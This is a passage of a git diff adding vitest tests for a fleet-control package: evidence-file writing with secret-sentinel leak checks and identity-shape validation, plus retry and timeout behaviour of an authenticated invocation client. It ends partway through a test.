+    keys(evidence.teardownCall, ['status', 'failure', 'providerRequests']);
+    const retained = buildDirectEvidence({
+      snapshot,
+      prepared: f.prepared,
+      mode: 'resume',
+      outcome: {
+        status: 'retained',
+        exitCode: 4,
+        teardownCall: {
+          status: 'retained',
+          failure: { code: 'residual-present' },
+          providerRequests: 12,
+        },
+      },
+      times: { finishedAt: '2026-09-13T00:00:00.000Z' },
+      commit: 'a'.repeat(40),
+    });
+    keys(retained.teardownCall, ['status', 'failure', 'providerRequests']);
+    keys(object(retained.teardownCall).failure, ['code']);
+    keys(evidence.retainedIdentities, [
+      'fleetUuid',
+      'quotaUuid',
+      'exportBucket',
+      'scriptName',
+      'activeVersionId',
+    ]);
+    expect(Object.values(object(evidence.retainedIdentities))).toEqual([
+      null,
+      null,
+      null,
+      null,
+      null,
+    ]);
+    expect(evidence.commands).toEqual([
+      'pnpm fleet-control:credentialed:direct -- --run',
+      'pnpm fleet-control:credentialed:direct -- --resume',
+    ]);
+  });
+
+  it.each([
+    'platform-page',
+    'transport-failure',
+    'non-contract-answer',
+    'delivery-window-expired',
+  ] as const)('admits invocation failure detail %s in evidence', async (detail) => {
+    const { f, snapshot } = await evidenceFixture();
+    const scenario = maximalScenario();
+    scenario.failure = { code: 'outcome-unknown', ordinal: 1, detail };
+    const evidence = buildDirectEvidence({
+      snapshot: { ...snapshot, scenario },
+      prepared: f.prepared,
+      mode: 'run',
+      outcome: { status: 'failed', exitCode: 1, teardownCall: null },
+      times: { finishedAt: '2026-09-13T00:00:00.000Z' },
+      commit: null,
+    });
+    expect(object(evidence.scenario).failure).toEqual(scenario.failure);
+    keys(object(evidence.scenario).failure, ['code', 'ordinal', 'detail']);
+    expect(
+      await writeDirectEvidence({
+        directory: f.runDirectory,
+        evidence,
+        sentinels,
+      }),
+    ).toEqual({ written: true });
+  });
+
+  it.each([
+    'platform-page',
+    'transport-failure',
+    'non-contract-answer',
+    'delivery-window-expired',
+  ] as const)('projects pending invocation detail %s without changing the journal snapshot', async (detail) => {
+    const { f, snapshot } = await evidenceFixture();
+    const scenario = maximalScenario();
+    scenario.failure = null;
+    const pending = {
+      ...snapshot,
+      scenario,
+      lastInvocation: {
+        ordinal: snapshot.invocationCount,
+        action: { kind: 'control-read' as const },
+        state: 'pending' as const,
+        requestSha256: 'a'.repeat(64),
+      },
+    };
+    const before = structuredClone(pending);
+    const input = {
+      snapshot: pending,
+      prepared: f.prepared,
+      mode: 'run' as const,
+      outcome: { status: 'failed' as const, exitCode: 1, teardownCall: null },
+      times: { finishedAt: '2026-09-13T00:00:00.000Z' },
+      commit: null,
+    };
+    expect(
+      object(
+        buildDirectEvidence({ ...input, invocationFailureDetail: detail })
+          .scenario,
+      ).failure,
+    ).toEqual({
+      code: 'outcome-unknown',
+      ordinal: pending.lastInvocation.ordinal,
+      detail,
+    });
+    expect(
+      object(
+        buildDirectEvidence({
+          ...input,
+          invocationFailureDetail: 'raw-provider-error' as typeof detail,
+        }).scenario,
+      ).failure,
+    ).toBeNull();
+    expect(pending).toEqual(before);
+  });
+
+  it('preserves null observations, absent proofs and failure detail', async () => {
+    const { f, snapshot } = await evidenceFixture();
+    const scenario = maximalScenario();
+    scenario.failure = {
+      code: 'budget-exhausted',
+      ordinal: 1,
+      detail: 'run-reserve',
+    };
+    scenario.proofs.initial = { a: null, b: null, recovery: null };
+    scenario.proofs.candidate = { a: null, b: null };
+    scenario.proofs.final = { a: null, b: null };
+    scenario.proofs.fence = {
+      drain: { a: null, b: null },
+      sweeps: { a: null, b: null },
+      reopen: { a: null, b: null },
+      probes: { a: null, b: null },
+    };
+    scenario.proofs.restart = null;
+    scenario.proofs.exports = { a: null, b: null };
+    scenario.proofs.inventories = { before: null, after: null };
+    scenario.proofs.terminalForce = { a: null };
+    const input = {
+      snapshot: { ...snapshot, scenario },
+      prepared: f.prepared,
+      mode: 'resume' as const,
+      outcome: { status: 'retained' as const, exitCode: 4, teardownCall: null },
+      times: { finishedAt: '2026-09-13T00:00:00.000Z' },
+      commit: null,
+    };
+    const result = buildDirectEvidence(input);
+    expect(result.scenario).toMatchObject({
+      failure: { code: 'budget-exhausted', ordinal: 1, detail: 'run-reserve' },
+      initial: scenario.proofs.initial,
+      candidate: scenario.proofs.candidate,
+      final: scenario.proofs.final,
+      fence: scenario.proofs.fence,
+      exports: scenario.proofs.exports,
+      inventories: scenario.proofs.inventories,
+      terminalForce: scenario.proofs.terminalForce,
+      restart: null,
+    });
+    delete scenario.failure.detail;
+    expect(object(buildDirectEvidence(input).scenario).failure).toEqual({
+      code: 'budget-exhausted',
+      ordinal: 1,
+      detail: null,
+    });
+    const {
+      scenario: _scenario,
+      teardown: _teardown,
+      createdAt: _createdAt,
+      ...older
+    } = snapshot;
+    const empty = buildDirectEvidence({
+      ...input,
+      snapshot: { ...older, bootstrap: null },
+    });
+    expect(empty.cost).toEqual({
+      basis: 'request-counters',
+      referenceProvider: null,
+      referenceMaintenance: null,
+      referenceApplication: null,
+      sdkRequests: null,
+      referenceInvocations: snapshot.invocationCount,
+      teardownProvider: null,
+      billed: null,
+    });
+    expect(empty).toMatchObject({
+      startedAt: null,
+      resumeCount: 0,
+      bootstrap: null,
+      scenario: null,
+      teardown: null,
+      teardownCall: null,
+    });
+  });
+
+  it('projects partial fence readings and category counts without journal bookkeeping', async () => {
+    const { f, snapshot } = await evidenceFixture();
+    const scenario = maximalScenario();
+    present(scenario.proofs.fence.drain.a).after = null;
+    const sweeps = present(scenario.proofs.fence.sweeps.a);
+    sweeps.second = null;
+    sweeps.intervalMs = null;
+    sweeps.first.categories = [
+      { category: 'work-a', class: 'work', empty: true },
+      { category: 'standing-a', class: 'standing', empty: false },
+    ];
+    const evidence = buildDirectEvidence({
+      snapshot: { ...snapshot, scenario },
+      prepared: f.prepared,
+      mode: 'run',
+      outcome: { status: 'failed', exitCode: 1, teardownCall: null },
+      times: { finishedAt: '2026-09-13T00:00:00.000Z' },
+      commit: null,
+    });
+    const fence = object(object(evidence.scenario).fence);
+    expect(object(fence.drain).a).toMatchObject({ after: null });
+    expect(object(fence.sweeps).a).toMatchObject({
+      first: {
+        categoryCount: 2,
+        workCount: 1,
+        standingCount: 1,
+        emptyCount: 1,
+      },
+      second: null,
+      intervalMs: null,
+    });
+    for (const forbidden of [
+      'ordinal',
+      'observedAt',
+      'categories',
+      'work-a',
+      'standing-a',
+    ])
+      expect(JSON.stringify(fence)).not.toContain(forbidden);
+  });
+
+  it('refuses a credential completed by the evidence trailing newline', async () => {
+    const { f } = await evidenceFixture();
+    const evidence = { version: 1 };
+    const newlineSentinels = { secrets: ['}\n'], literals: [] };
+    const hit = { sentinelClass: 'env-secret', keyPath: '' };
+    expect(inspectDirectEvidence(evidence, newlineSentinels)).toEqual({
+      hit,
+      serialized: '{"version":1}\n',
+    });
+    expect(
+      await writeDirectEvidence({
+        directory: f.runDirectory,
+        evidence,
+        sentinels: newlineSentinels,
+      }),
+    ).toEqual({ written: false, ...hit });
+    expect(await readdir(f.runDirectory)).toEqual(['journal.json']);
+  });
+
+  it('reports the empty path for a credential no member span carries', async () => {
+    const separated = { version: 1, mode: 'run' };
+    // The sentinel spans the comma between two members, so it belongs to the
+    // document's structure and to no member of it.
+    expect(
+      inspectDirectEvidence(separated, {
+        secrets: ['1,"mode"'],
+        literals: [],
+      }),
+    ).toEqual({
+      hit: { sentinelClass: 'env-secret', keyPath: '' },
+      serialized: '{"version":1,"mode":"run"}\n',
+    });
+    // A sentinel a member does carry is named by that member instead.
+    expect(
+      inspected(separated, { secrets: ['"mode":"run"'], literals: [] }),
+    ).toEqual({ sentinelClass: 'env-secret', keyPath: 'mode' });
+  });
+
+  it('sweeps an abandoned staging sibling and refuses a directory that is not private', async () => {
+    const { f, evidence } = await evidenceFixture();
+    const abandoned = join(f.runDirectory, '.evidence-abandoned.tmp');
+    await writeFile(abandoned, 'interrupted\n', { mode: 0o600 });
+    expect(
+      await writeDirectEvidence({
+        directory: f.runDirectory,
+        evidence,
+        sentinels,
+      }),
+    ).toEqual({ written: true });
+    expect((await readdir(f.runDirectory)).sort()).toEqual([
+      'evidence.json',
+      'journal.json',
+    ]);
+    await chmod(f.runDirectory, 0o755);
+    try {
+      expect(
+        await writeDirectEvidence({
+          directory: f.runDirectory,
+          evidence,
+          sentinels,
+        }),
+      ).toEqual({ written: false });
+    } finally {
+      await chmod(f.runDirectory, 0o700);
+    }
+  });
+
+  it('publishes the scanned bytes including the newline observed during read-back', async () => {
+    const { f, evidence } = await evidenceFixture();
+    const inspected = inspectDirectEvidence(evidence, sentinels);
+    expect(inspected.hit).toBeNull();
+    const scanned = Buffer.from(inspected.serialized);
+    let received: Buffer | undefined;
+    expect(
+      await writeDirectEvidence({
+        directory: f.runDirectory,
+        evidence,
+        sentinels,
+        readBack: async (path) => {
+          received = await readFile(path);
+          return received;
+        },
+      }),
+    ).toEqual({ written: true });
+    // The writer swallows a throw from `readBack`, so what the callback
+    // observed is asserted once the call has returned.
+    expect(received).toEqual(scanned);
+    expect(received).toEqual(Buffer.from(`${JSON.stringify(evidence)}\n`));
+    expect(await readFile(join(f.runDirectory, 'evidence.json'))).toEqual(
+      scanned,
+    );
+  });
+
+  it('writes verified 0600 evidence atomically without temporary siblings', async () => {
+    const { f, evidence } = await evidenceFixture();
+    const result = await writeDirectEvidence({
+      directory: f.runDirectory,
+      evidence,
+      sentinels,
+    });
+    expect(result).toEqual({ written: true });
+    const path = join(f.runDirectory, 'evidence.json');
+    expect((await stat(path)).mode & 0o777).toBe(0o600);
+    expect(await readFile(path, 'utf8')).toBe(`${JSON.stringify(evidence)}\n`);
+    expect(
+      (await readdir(f.runDirectory)).filter((name) => name.endsWith('.tmp')),
+    ).toEqual([]);
+    process.stdout.write('EVIDENCE_FILE mode=0600 temporaryFiles=0\n');
+  });
+
+  it.each([
+    ...DIRECT_EVIDENCE_LITERALS.map((value) => [value, 'literal']),
+    ['private-api-seed', 'env-secret'],
+    ['private-invoke-seed', 'env-secret'],
+    ['seed"token', 'env-secret'],
+    ['seed\\token', 'env-secret'],
+  ])('catches sentinel %s as %s at its string-leaf path', async (value, sentinelClass) => {
+    const { f, evidence } = await evidenceFixture();
+    const candidate = {
+      ...evidence,
+      retainedIdentities: {
+        ...object(evidence.retainedIdentities),
+        fleetUuid: value,
+      },
+    };
+    const result = await writeDirectEvidence({
+      directory: f.runDirectory,
+      evidence: candidate,
+      sentinels: {
+        ...sentinels,
+        secrets: [...sentinels.secrets, 'seed"token', 'seed\\token'],
+      },
+    });
+    expect(result).toEqual({
+      written: false,
+      sentinelClass,
+      keyPath: 'retainedIdentities.fleetUuid',
+    });
+    expect(await readdir(f.runDirectory)).toEqual(['journal.json']);
+    expect(JSON.stringify(result)).not.toContain(value as string);
+    process.stdout.write(
+      `SENTINEL_CAUGHT ${sentinelClass} ${result.keyPath}\n`,
+    );
+  });
+
+  it('catches serialized bytes that are absent from walked string leaves', async () => {
+    const { f } = await evidenceFixture();
+    const evidence = {
+      bootstrap: { toJSON: () => ({ dispatch: 'safe' }) },
+    };
+    const byteSentinels = { secrets: [], literals: ['"dispatch":'] };
+    expect(inspected(evidence, byteSentinels)).toEqual({
+      sentinelClass: 'literal',
+      keyPath: 'bootstrap',
+    });
+    expect(
+      await writeDirectEvidence({
+        directory: f.runDirectory,
+        evidence,
+        sentinels: byteSentinels,
+      }),
+    ).toEqual({
+      written: false,
+      sentinelClass: 'literal',
+      keyPath: 'bootstrap',
+    });
+    expect(await readdir(f.runDirectory)).toEqual(['journal.json']);
+  });
+
+  it.each([
+    ['plain toJSON secret', 'private-api-seed'],
+    ['quoted toJSON secret', 'seed"token'],
+    ['backslash toJSON secret', 'seed\\token'],
+  ])('refuses decoded serialization containing a %s', async (_label, secret) => {
+    const { f } = await evidenceFixture();
+    const evidence = { bootstrap: { toJSON: () => secret } };
+    const decodedSentinels = { secrets: [secret], literals: [] };
+    const hit = { sentinelClass: 'env-secret', keyPath: 'bootstrap' };
+    expect(inspected(evidence, decodedSentinels)).toEqual(hit);
+    expect(
+      await writeDirectEvidence({
+        directory: f.runDirectory,
+        evidence,
+        sentinels: decodedSentinels,
+      }),
+    ).toEqual({ written: false, ...hit });
+    expect(await readdir(f.runDirectory)).toEqual(['journal.json']);
+  });
+
+  it('refuses a Unicode escape that decodes to a credential in serialized evidence', async () => {
+    const { f } = await evidenceFixture();
+    const rawJSON = (JSON as typeof JSON & { rawJSON(text: string): object })
+      .rawJSON;
+    const evidence = { bootstrap: { dispatch: rawJSON('"\\u0073eed"') } };
+    const escapedSentinels = { secrets: ['seed'], literals: [] };
+    expect(JSON.stringify(evidence)).toContain('\\u0073');
+    const hit = { sentinelClass: 'env-secret', keyPath: 'bootstrap.dispatch' };
+    expect(inspected(evidence, escapedSentinels)).toEqual(hit);
+    expect(
+      await writeDirectEvidence({
+        directory: f.runDirectory,
+        evidence,
+        sentinels: escapedSentinels,
+      }),
+    ).toEqual({ written: false, ...hit });
+    expect(await readdir(f.runDirectory)).toEqual(['journal.json']);
+  });
+
+  it('refuses a credential object key at its own path before visiting its value', async () => {
+    const { f } = await evidenceFixture();
+    const secret = 'seed"\\token';
+    const evidence = {
+      bootstrap: { toJSON: () => ({ [secret]: 'Bearer hidden' }) },
+    };
+    const keySentinels = {
+      secrets: [secret],
+      literals: DIRECT_EVIDENCE_LITERALS,
+    };
+    const hit = { sentinelClass: 'env-secret', keyPath: `bootstrap.${secret}` };
+    expect(inspected(evidence, keySentinels)).toEqual(hit);
+    expect(
+      await writeDirectEvidence({
+        directory: f.runDirectory,
+        evidence,
+        sentinels: keySentinels,
+      }),
+    ).toEqual({ written: false, ...hit });
+    expect(await readdir(f.runDirectory)).toEqual(['journal.json']);
+  });
+
+  it('guards the identity-path leaves and excludes the prefix-derived and scenario-charset ones', async () => {
+    const { evidence } = await evidenceFixture();
+    expect(Object.isFrozen(DIRECT_EVIDENCE_IDENTITY_PATHS)).toBe(true);
+    // Every guarded path resolves to a projected identity leaf, so a renamed
+    // or moved projection key fails here rather than leaving a guard that
+    // never matches again.
+    expect(
+      DIRECT_EVIDENCE_IDENTITY_PATHS.filter((keyPath) => {
+        const leaf = leafAt(evidence, keyPath);
+        return leaf !== null && typeof leaf !== 'string';
+      }),
+    ).toEqual([]);
+    // Prefix-derived names are the rule's exclusions, not omissions.
+    for (const keyPath of [
+      'retainedIdentities.exportBucket',
+      'retainedIdentities.scriptName',
+      'scenario.terminalForce.a.scriptName',
+    ])
+      expect(DIRECT_EVIDENCE_IDENTITY_PATHS).not.toContain(keyPath);
+    // So are the scenario paths: the journal decodes each with `scenarioId`,
+    // whose charset is strictly wider than the identity shape, so a guard here
+    // refuses values the journal admits.
+    for (const keyPath of [
+      'scenario.initial.a.versionId',
+      'scenario.candidate.b.versionId',
+      'scenario.final.a.versionId',
+      'scenario.terminalForce.a.databaseId',
+    ]) {
+      expect(DIRECT_EVIDENCE_IDENTITY_PATHS).not.toContain(keyPath);
+      expect(leafAt(evidence, keyPath)).toBeTypeOf('string');
+    }
+  });
+
+  it.each([
+    'scenario.initial.a.versionId',
+    'scenario.final.b.versionId',
+    'scenario.terminalForce.a.databaseId',
+  ])('publishes a scenario-charset identity at %s', async (keyPath) => {
+    const { f, evidence } = await evidenceFixture();
+    // `a:b` is outside the identity shape and inside `scenarioId`, so the
+    // journal admits it and the evidence boundary no longer refuses it.
+    const carried = JSON.parse(JSON.stringify(evidence)) as Record<
+      string,
+      unknown
+    >;
+    const keys = keyPath.split('.');
+    const leaf = keys.pop() as string;
+    object(leafAt(carried, keys.join('.')))[leaf] = 'a:b';
+    expect(inspected(carried, sentinels)).toBeNull();
+    expect(
+      await writeDirectEvidence({
+        directory: f.runDirectory,
+        evidence: carried,
+        sentinels,
+      }),
+    ).toEqual({ written: true });
+  });
+
+  it.each(
+    DIRECT_EVIDENCE_IDENTITY_PATHS,
+  )('enforces identity shape without nulling malformed proof at %s', async (keyPath) => {
+    const { f } = await evidenceFixture();
+    for (const [value, valid] of [
+      [null, true],
+      ['8e7a6123-1567-4abd-9012-3456789abcde', true],
+      ['version_1.2-rc', true],
+      ['a'.repeat(128), true],
+      ['https://example.invalid/signed?sig=opaque', false],
+      ['upstream returned an unexpected response', false],
+      [' padded', false],
+      ['quoted"identity', false],
+      ['', false],
+      ['_version', false],
+      ['a'.repeat(129), false],
+    ] as const) {
+      const evidence = object(
+        keyPath
+          .split('.')
+          .reduceRight<unknown>((child, key) => ({ [key]: child }), value),
+      );
+      const before = JSON.stringify(evidence);
+      const hit = { refusalClass: 'identity-shape', keyPath };
+      expect(inspected(evidence, sentinels)).toEqual(valid ? null : hit);
+      if (!valid) {
+        expect(
+          await writeDirectEvidence({
+            directory: f.runDirectory,
+            evidence,
+            sentinels,
+          }),
+        ).toEqual({ written: false, ...hit });
+        expect(JSON.stringify(evidence)).toBe(before);
+      }
+    }
+    expect(await readdir(f.runDirectory)).toEqual(['journal.json']);
+  });
+
+  it('writes exactly the serialization that passed the byte scan', async () => {
+    const { f } = await evidenceFixture();
+    let serializations = 0;
+    const evidence = {
+      bootstrap: {
+        toJSON: () => (++serializations === 1 ? 'safe' : 'Bearer hidden'),
+      },
+    };
+    expect(
+      await writeDirectEvidence({
+        directory: f.runDirectory,
+        evidence,
+        sentinels,
+      }),
+    ).toEqual({ written: true });
+    expect(serializations).toBe(1);
+    expect(await readFile(join(f.runDirectory, 'evidence.json'), 'utf8')).toBe(
+      '{"bootstrap":"safe"}\n',
+    );
+  });
+
+  it.each([
+    false,
+    true,
+  ])('does not publish altered read-back bytes or replace previous evidence (existing=%s)', async (existing) => {
+    const { f, evidence } = await evidenceFixture();
+    const path = join(f.runDirectory, 'evidence.json');
+    if (existing) await writeFile(path, 'previous-evidence\n', { mode: 0o600 });
+    const result = await writeDirectEvidence({
+      directory: f.runDirectory,
+      evidence,
+      sentinels,
+      readBack: async () => Buffer.from('altered bytes'),
+    });
+    expect(result).toEqual({ written: false });
+    if (existing)
+      expect(await readFile(path, 'utf8')).toBe('previous-evidence\n');
+    else await expect(stat(path)).rejects.toMatchObject({ code: 'ENOENT' });
+    expect(
+      (await readdir(f.runDirectory)).filter((name) => name.endsWith('.tmp')),
+    ).toEqual([]);
+  });
+});
diff --git a/packages/fleet-control/test/direct-credentialed-invocation.test.ts b/packages/fleet-control/test/direct-credentialed-invocation.test.ts
new file mode 100644
index 00000000..b384d3dc
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-invocation.test.ts
@@ -0,0 +1,1647 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { mkdtemp, open, readFile, rm, writeFile } from 'node:fs/promises';
+import http from 'node:http';
+import https from 'node:https';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import { preflightDirectConformance } from '../scripts/direct-credentialed-conformance-preflight.mjs';
+import {
+  awaitReferenceIngress,
+  createDirectInvocationClient,
+  DIRECT_INVOCATION_FAILURE_DETAILS,
+  DirectInvocationError,
+} from '../scripts/direct-credentialed-invocation.mjs';
+import {
+  type DirectRunJournal,
+  openDirectRunState,
+} from '../scripts/direct-credentialed-run-state.mjs';
+import {
+  DIRECT_REFERENCE_PATH,
+  type DirectReferenceAction,
+} from '../scripts/direct-reference-contract.mjs';
+import { handleDirectReferenceHttpRequest } from '../scripts/direct-reference-http.js';
+
+const SECRET = 'invocation-secret-sentinel';
+const CLAIM = 'opaque-claim-sentinel';
+const directories: string[] = [];
+const journals = new Set<DirectRunJournal>();
+const servers = new Set<http.Server>();
+const hash = (value: string) =>
+  createHash('sha256').update(value).digest('hex');
+const attempts = { provider: 1, maintenance: 2, application: 3 };
+const responseHeaders = {
+  'Cache-Control': 'no-store',
+  'Content-Type': 'application/json',
+  'X-Direct-Provider-Attempts': '1',
+  'X-Direct-Maintenance-Attempts': '2',
+  'X-Direct-Application-Attempts': '3',
+};
+
+async function fixture(limit = 3, timeoutMs = 1000) {
+  const directory = await mkdtemp(join(tmpdir(), 'direct-invocation-'));
+  directories.push(directory);
+  const config = JSON.parse(
+    await readFile(
+      new URL(
+        '../scripts/direct-credentialed-conformance.example.json',
+        import.meta.url,
+      ),
+      'utf8',
+    ),
+  );
+  const reference =
+    "import manifest from './direct-run-manifest.js'; export default {fetch(){return Response.json(manifest.contractVersion)}};";
+  const tenant =
+    'export class Maintenance {} export class Runner {} export default {};';
+  config.referenceWorker.artifact = {
+    bundle: './reference.mjs',
+    mainModule: 'worker.js',
+    sha256: hash(reference),
+  };
+  config.referenceWorker.maxInvocations = limit;
+  config.referenceWorker.invocationTimeoutMs = timeoutMs;
+  config.deployment.artifact = {
+    bundle: './tenant.mjs',
+    mainModule: 'worker.js',
+    sha256: hash(tenant),
+  };
+  const configPath = join(directory, 'config.json');
+  await writeFile(configPath, JSON.stringify(config));
+  await writeFile(join(directory, 'reference.mjs'), reference);
+  await writeFile(join(directory, 'tenant.mjs'), tenant);
+  const prepared = await preflightDirectConformance({ configPath });
+  const input = { configPath, prepared, accountId: 'account' };
+  const journal = await opened({ ...input, mode: 'run' });
+  const options = {
+    prepared,
+    journal,
+    accountWorkersDevSubdomain: 'attested-account',
+    invokeSecret: SECRET,
+  };
+  const success = (
+    action = 'control-read',
+    result: unknown = { token: CLAIM },
+  ) => ({
+    contractVersion: 1,
+    configSha256: prepared.configSha256,
+    action,
+    ok: true,
+    result,
+  });
+  const response = (value: unknown = success(), status = 200) =>
+    Response.json(value, { status, headers: responseHeaders });
+  return { configPath, prepared, input, journal, options, success, response };
+}
+
+async function opened(input: Parameters<typeof openDirectRunState>[0]) {
+  const journal = await openDirectRunState(input);
+  journals.add(journal);
+  return journal;
+}
+
+async function closed(journal: DirectRunJournal) {
+  await journal.close();
+  journals.delete(journal);
+}
+
+async function disk(journal: DirectRunJournal) {
+  return readFile(join(journal.directory, 'journal.json'), 'utf8');
+}
+
+async function localReference(listener: http.RequestListener) {
+  const server = http.createServer(listener);
+  servers.add(server);
+  await new Promise<void>((resolve) => server.listen(0, '127.0.0.1', resolve));
+  const address = server.address();
+  if (!address || typeof address === 'string')
+    throw new Error('Local reference address absent');
+  return vi.spyOn(https, 'request').mockImplementation((url, options, cb) => {
+    const target = new URL(String(url));
+    expect(target.protocol).toBe('https:');
+    expect(target.pathname).toBe(DIRECT_REFERENCE_PATH);
+    return http.request(
+      `http://127.0.0.1:${address.port}${target.pathname}`,
+      options,
+      cb,
+    );
+  });
+}
+
+async function expectUnknown(
+  f: Awaited<ReturnType<typeof fixture>>,
+  fetchRequest: typeof fetch,
+  action: DirectReferenceAction = {
+    kind: 'provision',
+    role: 'a',
+    release: 'initial',
+  },
+) {
+  const fetchMock = vi.fn(fetchRequest);
+  const client = createDirectInvocationClient({
+    ...f.options,
+    fetch: fetchMock,
+  });
+  const error = await client.invoke(action).catch((error: unknown) => error);
+  expect(error).toBeInstanceOf(DirectInvocationError);
+  expect(error).toMatchObject({ code: 'outcome-unknown' });
+  expect(String(error)).not.toContain(SECRET);
+  expect(error).not.toHaveProperty('cause');
+  expect(f.journal.snapshot()).toMatchObject({
+    invocationCount: 1,
+    lastInvocation: { state: 'pending' },
+  });
+  await expect(client.invoke(action)).rejects.toMatchObject({
+    code: 'outcome-unknown',
+  });
+  expect(fetchMock).toHaveBeenCalledTimes(1);
+  await closed(f.journal);
+  await expect(
+    openDirectRunState({ ...f.input, mode: 'resume' }),
+  ).rejects.toMatchObject({ code: 'outcome-unknown' });
+}
+
+afterEach(async () => {
+  vi.restoreAllMocks();
+  vi.unstubAllGlobals();
+  vi.useRealTimers();
+  await Promise.all(
+    [...servers].map(
+      (server) =>
+        new Promise<void>((resolve, reject) => {
+          server.closeAllConnections();
+          server.close((error) => (error ? reject(error) : resolve()));
+        }),
+    ),
+  );
+  servers.clear();
+  try {
+    await Promise.all([...journals].map((journal) => journal.close()));
+  } finally {
+    journals.clear();
+    await Promise.all(
+      directories
+        .splice(0)
+        .map((directory) => rm(directory, { recursive: true, force: true })),
+    );
+  }
+});
+
+const describeLinux =
+  process.platform === 'linux' ? describe.sequential : describe.skip;
+
+function ingressRefusal() {
+  return Response.json(
+    { contractVersion: 1, ok: false, error: { code: 'unauthorized' } },
+    {
+      status: 401,
+      headers: { 'Cache-Control': 'no-store', 'WWW-Authenticate': 'Bearer' },
+    },
+  );
+}
+
+describeLinux('Node authenticated direct invocation', () => {
+  it.each([
+    'an unmarked platform 500 page',
+    'a thrown fetch',
+    'a fetch timeout',
+    'a non-contract 200 media type',
+    'a non-contract 200 cache header',
+    'a malformed contract body',
+    'invalid attempt counts',
+  ])('re-sends a read-only action after %s within the delivery window: two requests, one reservation', async (kind) => {
+    const f = await fixture(3, 10_000);
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const reserveInvocation = vi.fn((body: string) =>
+      f.journal.reserveInvocation(body),
+    );
+    const fetchRequest = vi
+      .fn<typeof fetch>()
+      .mockImplementationOnce(async () => {
+        if (kind === 'a thrown fetch') throw new Error(SECRET);
+        if (kind === 'a fetch timeout')
+          throw new DOMException(SECRET, 'TimeoutError');
+        if (kind === 'an unmarked platform 500 page')
+          return new Response('error code: 1104', {
+            status: 500,
+            headers: { 'content-type': 'text/plain' },
+          });
+        if (kind === 'a malformed contract body')
+          return f.response({ invalid: true });
+        const response = f.response();
+        if (kind === 'invalid attempt counts')
+          response.headers.delete('X-Direct-Provider-Attempts');
+        else if (kind === 'a non-contract 200 cache header')
+          response.headers.delete('cache-control');
+        else response.headers.set('content-type', 'text/html');
+        return response;
+      })
+      .mockImplementation(async () => f.response());
+    const result = createDirectInvocationClient({
+      ...f.options,
+      journal: { ...f.journal, reserveInvocation },
+      fetch: fetchRequest,
+    }).invoke({ kind: 'control-read' });
+    await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1));
+    await vi.advanceTimersByTimeAsync(2_000);
+    await expect(result).resolves.toEqual({
+      result: { token: CLAIM },
+      attempts,
+    });
+    expect(fetchRequest).toHaveBeenCalledTimes(2);
+    expect(reserveInvocation).toHaveBeenCalledTimes(1);
+    expect(fetchRequest.mock.calls[1]).toEqual(fetchRequest.mock.calls[0]);
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('settled');
+  });
+
+  it.each(
+    DIRECT_INVOCATION_FAILURE_DETAILS,
+  )('produces every listed outcome-unknown detail through the client: %s', async (detail) => {
+    const f = await fixture(3, 3_500);
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const reserveInvocation = vi.fn((body: string) =>
+      f.journal.reserveInvocation(body),
+    );
+    const fetchRequest = vi.fn<typeof fetch>(async () => {
+      switch (detail) {
+        case 'platform-page':
+          return new Response('error code: 1104', {
+            status: 500,
+            headers: { 'content-type': 'text/plain' },
+          });
+        case 'transport-failure':
+        case 'delivery-window-expired':
+          throw new Error(SECRET);
+        case 'non-contract-answer':
+          return f.response({ invalid: true });
+        default:
+          throw new Error(`Missing client failure case: ${detail}`);
+      }
+    });
+    const result = createDirectInvocationClient({
+      ...f.options,
+      journal: { ...f.journal, reserveInvocation },
+      fetch: fetchRequest,
+    }).invoke(
+      detail === 'delivery-window-expired'
+        ? { kind: 'control-read' }
+        : { kind: 'provision', role: 'a', release: 'initial' },
+    );
+    const refused = expect(result).rejects.toMatchObject({
+      code: 'outcome-unknown',
+      detail,
+    });
+    if (detail === 'delivery-window-expired') {
+      await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1));
+      await vi.advanceTimersByTimeAsync(3_500);
+    }
+    await refused;
+    expect(fetchRequest).toHaveBeenCalledTimes(
+      detail === 'delivery-window-expired' ? 2 : 1,
+    );
+    expect(reserveInvocation).toHaveBeenCalledTimes(1);
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('pending');
+  });
+
+  it.each([
+    3_500, 600_000,
+  ])('bounds read-only re-delivery by the delivery window: ceil(min(120000, %i)/2000) requests, one reservation', async (timeoutMs) => {
+    const f = await fixture(3, timeoutMs);
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const reserveInvocation = vi.fn((body: string) =>
+      f.journal.reserveInvocation(body),
+    );
+    let startedAt = 0;
+    const fetchRequest = vi.fn<typeof fetch>(async () => {
+      if (fetchRequest.mock.calls.length === 1) startedAt = performance.now();
+      return new Response('error code: 1104', {
+        status: 500,
+        headers: { 'content-type': 'text/plain' },
+      });
+    });
+    const result = createDirectInvocationClient({
+      ...f.options,
+      journal: { ...f.journal, reserveInvocation },
+      fetch: fetchRequest,
+    })
+      .invoke({ kind: 'control-read' })
+      .catch((error: unknown) => error);
+    await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1));
+    const windowMs = Math.min(120_000, timeoutMs);
+    await vi.advanceTimersByTimeAsync(
+      windowMs - (performance.now() - startedAt),
+    );
+    await expect(result).resolves.toMatchObject({
+      code: 'outcome-unknown',
+      detail: 'delivery-window-expired',
+    });
+    expect(fetchRequest).toHaveBeenCalledTimes(Math.ceil(windowMs / 2_000));
+    expect(reserveInvocation).toHaveBeenCalledTimes(1);
+    for (const call of fetchRequest.mock.calls)
+      expect(call).toEqual(fetchRequest.mock.calls[0]);
+    expect(f.journal.snapshot().lastInvocation?.state).toBe('pending');
+  });
+
+  it('stops re-delivering a read-only action at the delivery window without a final send', async () => {
+    const f = await fixture(3, 3_500);
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] });
+    const deliveries: number[] = [];
+    let startedAt = 0;
+    const fetchRequest = vi.fn<typeof fetch>(async () => {
+      if (deliveries.length === 0) startedAt = performance.now();
+      deliveries.push(performance.now());
